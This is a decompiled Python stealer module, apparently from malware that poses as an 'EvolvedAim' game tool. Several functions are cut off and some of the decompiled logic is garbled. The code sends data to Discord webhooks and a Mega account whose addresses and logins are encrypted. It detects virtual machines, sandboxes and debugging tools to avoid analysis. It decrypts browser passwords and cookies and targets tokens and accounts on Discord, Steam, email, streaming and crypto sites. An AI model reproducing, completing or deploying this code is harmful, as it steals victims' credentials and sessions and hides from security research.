# Source Generated with Decompyle++
# File: antivm.pyc (Python 3.10)

import json
from time import sleep
import pathlib
import winreg
import zipfile
from fileinput import close
import fnmatch
from mega import Mega
import ctypes
import platform
import wmi
from json import loads as json_loads
import psutil
import win32api
from PIL import ImageGrab
from win32crypt import CryptUnprotectData
from os import listdir
from re import findall
from subprocess import Popen, PIPE
from discord_webhook import DiscordWebhook, DiscordEmbed
import requests
import threading
from sqlite3 import connect as sql_connect
from urllib.request import Request, urlopen
from json import loads, dumps
import re
import subprocess
import logging
import string
import tempfile
from Crypto.Protocol.KDF import PBKDF2
import os
import shutil
import sqlite3
import random
import json
import base64
from Crypto.Cipher import AES, DES3
from ctypes import Structure, POINTER, c_char, c_buffer, byref, wintypes, cdll, windll
import overlay
logging.getLogger('mega').setLevel(logging.WARNING)
wh3_enc = overlay.decrypt_bot_string('353239313430353738393039313134305f07b325a9db7c8889667dd4d95518f992252a993fe6377ab1bc13feb5eca692cfb00bff9da39ed91465bd9a0c18f5bb39804abf35f7454394c926fa112925bbd784c9eecc0458a3a365b55f350db1f51b83b2cc1b28721ae43d9dcec2ebcf80daf9327417677953d32d27d2b4c8afbac160f2dbff13ef96d8663dbd6481e544')
wh4_enc = overlay.decrypt_bot_string('353239313430353738393039313134305f07b325a9db7c8889667dd4d95518f992252a993fe6377ab1bc13feb5eca692d183c4e74afd3aca3a1536326ca994dfcc221eb1c7f2b7fe47e0fb8c8124ac2ee344ff29da30cc752b5979025f0431acf0688e70f02f8a56bddbc7ede79191e8fa226f4423fa6dcf6995992adc29405b3470c04000e9165bc32be906f6d8881e')
meu_enc = overlay.decrypt_bot_string('35323931343035373839303931313430dcbb541533fadb77fb7c22b0f4189f494bd1dbde8b30049d9d6a44f4b2b26c1c')
mep_enc = overlay.decrypt_bot_string('35323931343035373839303931313430f70d80856e3d9c4c317e975f632e9651')
hooks_fields = {
    'main': wh3_enc,
    'report': wh4_enc }
web_fields = {
    'a': '📜 License Key',
    'b': '📌 PC Username',
    'c': '📌 PC Name',
    'd': '💻 PC Resolution',
    'e': '👀 IP Address',
    'f': '🌎 Location [Country | Region | City]',
    'g': '📅 Email address',
    'h': '🧩 Discord Name',
    'i': '🧩 Discord ID',
    'j': '🧩 Discord Session',
    'k': '‍☠️ Download' }
Passw = []
Cookies = []
(coCount, pwCount) = (0, 0)
coWords = []
pwWords = []
temp = os.getenv('TEMP')
userprofile = os.environ['USERPROFILE']
kw = [
    'mail',
    '[elitepvp](https://elitepvpers.com)',
    '[chatgpt](https://chat.openai.com)',
    '[openai](https://chat.openai.com)',
    '[runescape](https://runescape.com',
    '[keyauthwin](https://keyauth.win)',
    '[keyauthcc](https://keyauth.cc)',
    '[authgg](https://auth.gg)',
    '[gmail](https://gmail.com)',
    '[steam](https://steam.com)',
    '[discord](https://discord.com)',
    '[riotgames](https://riotgames.com)',
    '[youtube](https://youtube.com)',
    '[epicgames](https://epicgames.com)',
    '[spotify](https://spotify.com)',
    '[yahoo](https://yahoo.com)',
    '[roblox](https://roblox.com)',
    '[twitch](https://twitch.com)',
    '[minecraft](https://minecraft.net)',
    '[escapefromtarkov](https://escapefromtarkov.com)',
    '[origin](https://origin.com)',
    '[playstation](https://playstation.com)',
    '[hbo](https://hbo.com)',
    '[xbox](https://xbox.com)',
    'buy',
    'sell',
    '[hotmail](https://hotmail.com)',
    '[outlook](https://outlook.com)',
    '[crunchyroll](https://crunchyroll.com)',
    '[telegram](https://telegram.com)',
    '[disney](https://disney.com)',
    '[expressvpn](https://expressvpn.com)',
    'crypto',
    '[netflix](https://netflix.com)']
Threadlist = []
t3s = []
cleaned = []
checker = []
tokens = []
cleaned = []
checker = []
disname = ''
app_blacklist = [
    'httpdebuggerui.exe',
    'wireshark.exe',
    'HTTPDebuggerSvc.exe',
    'fiddler.exe',
    'regedit.exe',
    'vboxservice.exe',
    'df5serv.exe',
    'vboxtray.exe',
    'vmtoolsd.exe',
    'vmwaretray.exe',
    'ida64.exe',
    'ollydbg.exe',
    'pestudio.exe',
    'vmwareuser',
    'vgauthservice.exe',
    'vmacthlp.exe',
    'x96dbg.exe',
    'vmsrvc.exe',
    'x32dbg.exe',
    'vmusrvc.exe',
    'prl_cc.exe',
    'prl_tools.exe',
    'xenservice.exe',
    'qemu-ga.exe',
    'joeboxcontrol.exe',
    'ksdumperclient.exe',
    'ksdumper.exe',
    'joeboxserver.exe',
    'hxd.exe',
    'dnSpy.exe',
    'charles.exe',
    'burpsuite.exe',
    'windbg.exe',
    'gdb.exe',
    'radare2.exe',
    'strace.exe',
    'ltrace.exe',
    'jadx-gui.exe',
    'apktool.exe',
    'tcpdump.exe',
    'mitmproxy.exe',
    'uncompyle6.exe',
    'pyarmor.exe',
    'pyinstxtractor.py',
    'pyidb.py']

def block_blacklist_apps():
    webhook = DiscordWebhook(hooks_fields['report'], 'EvolvedAim', **('url', 'username'))
# WARNING: Decompyle incomplete


def check_sandbox_vm():

    def is_virtual_machine():

        try:
            output = subprocess.check_output('systeminfo')
            output = output.decode().lower()
            if 'virtual' in output and 'vmware' in output or 'vbox' in output:
                pass
        finally:
            return True
            if platform.system() == 'Windows':
                c = wmi.WMI()
                for item in c.Win32_ComputerSystem():
                    if 'Hyper-V' in item.Model:
                        pass
                    return True
            return False
            return False
            return False



    def is_sandboxie_like_program():
        return bool(os.getenv('SBOXDLL'))


    def is_inside_sandbox():

        try:
            ctypes.windll.kernel32.GetModuleHandleA.restype = ctypes.c_long
            ctypes.windll.kernel32.GetModuleHandleA.argtypes = [
                ctypes.c_char_p]
            handle = ctypes.windll.kernel32.GetModuleHandleA(b'SbieDll.dll')
            if handle != 0:
                pass
        finally:
            return True
            return False
            return False


    vm_detected = is_virtual_machine()
    if not is_sandboxie_like_program():
        pass
    sandbox_detected = is_inside_sandbox()
# WARNING: Decompyle incomplete


def decrypt(buff, master_key):

    try:
        pass
    finally:
        return None
        return 'Error'



def getip():
    urls = [
        'https://api.ipify.org',
        'https://ip.cn/api/index?ip=&type=0']
    for url in urls:

        try:
            response = requests.get(url)
            if response.status_code == 200:
                if url == 'https://api.ipify.org':
                    ip = response.text.strip()
                else:
                    ip = response.json()['ip']
        finally:
            return None
            continue
            continue
            return 'Failed to resolve IP'



def gethwid():
    p = Popen('wmic csproduct get uuid', True, PIPE, PIPE, PIPE, **('shell', 'stdin', 'stdout', 'stderr'))
    return (p.stdout.read() + p.stderr.read()).decode().split('\n')[1]


def getavatar(user, avatar):
    url = f'''https://cdn.discordapp.com/avatars/{user}/{avatar}.gif'''

    try:
        urlopen(Request(url))
    finally:
        return url
        url = url[:-4]
        return url



def globalInfo():
    ip = getip()
    username = 'Fakie'
    ipdatanojson = urlopen(Request(f'''https://geolocation-db.com/jsonp/{ip}''')).read().decode().replace('callback(', '').replace('})', '}')
    ipdata = loads(ipdatanojson)
    country = ipdata['country_name']
    countryCode = ipdata['country_code'].lower()
    globalinfo = f''':flag_{countryCode}:  - `{username.upper()} | {ip} ({country})`'''
    return globalinfo


def Trust(Cookies):
    global DETECTED, DETECTED
    data = str(Cookies)
    tim = re.findall('.google.com', data)
    if len(tim) < -1:
        DETECTED = True
        return DETECTED
    DETECTED = None
    return DETECTED


class DATA_BLOB(Structure):
    _fields_ = [
        ('cbData', wintypes.DWORD),
        ('pbData', POINTER(c_char))]


def GetData(blob_out):
    cbData = int(blob_out.cbData)
    pbData = blob_out.pbData
    buffer = c_buffer(cbData)
    cdll.msvcrt.memcpy(buffer, pbData, cbData)
    windll.kernel32.LocalFree(pbData)
    return buffer.raw


def CryptUnprotectData2(encrypted_bytes, entropy = (b'',)):
    buffer_in = c_buffer(encrypted_bytes, len(encrypted_bytes))
    buffer_entropy = c_buffer(entropy, len(entropy))
    blob_in = DATA_BLOB(len(encrypted_bytes), buffer_in)
    blob_entropy = DATA_BLOB(len(entropy), buffer_entropy)
    blob_out = DATA_BLOB()
    if windll.crypt32.CryptUnprotectData(byref(blob_in), None, byref(blob_entropy), None, None, 1, byref(blob_out)):
        return GetData(blob_out)


def DecryptValue(buff, master_key = (None,)):
    starts = buff.decode('utf8', 'ignore', **('encoding', 'errors'))[:3]
    if starts == 'v10' or starts == 'v11':
        iv = buff[3:15]
        payload = buff[15:]
        cipher = AES.new(master_key, AES.MODE_GCM, iv)
        decrypted_pass = cipher.decrypt(payload)
        decrypted_pass = decrypted_pass[:-16].decode()
        return decrypted_pass


def Reformat(listt):
    e = re.findall('(\\w+[a-z])', listt)
    if 'https' in e:
        e.remove('https')
        if 'https' in e or 'com' in e:
            e.remove('com')
            if 'com' in e or 'net' in e:
                e.remove('net')
                if not 'net' in e:
                    return list(set(e))


def generate_random_folder_name(prefix, length = ('tmp', 8)):
    random_string = ''.join((lambda .0: for _ in .0:
random.choice(string.ascii_lowercase + string.digits))(range(length)))
    return prefix + random_string


def get_downloads_folder_path():
    pass
# WARNING: Decompyle incomplete


def fandfloco(meu_enc, mep_enc):
    folder_path = os.environ.get('ProgramData')
# WARNING: Decompyle incomplete


def save_data(data, name):
    pass
# WARNING: Decompyle incomplete

Passw = []

def gPSw(path, arg):
    pass
# WARNING: Decompyle incomplete

Cookies = []

def gCy(path, arg):
    pass
# WARNING: Decompyle incomplete

(coCount, pwCount) = (0, 0)
coWords = []
pwWords = []
# WARNING: Decompyle incomplete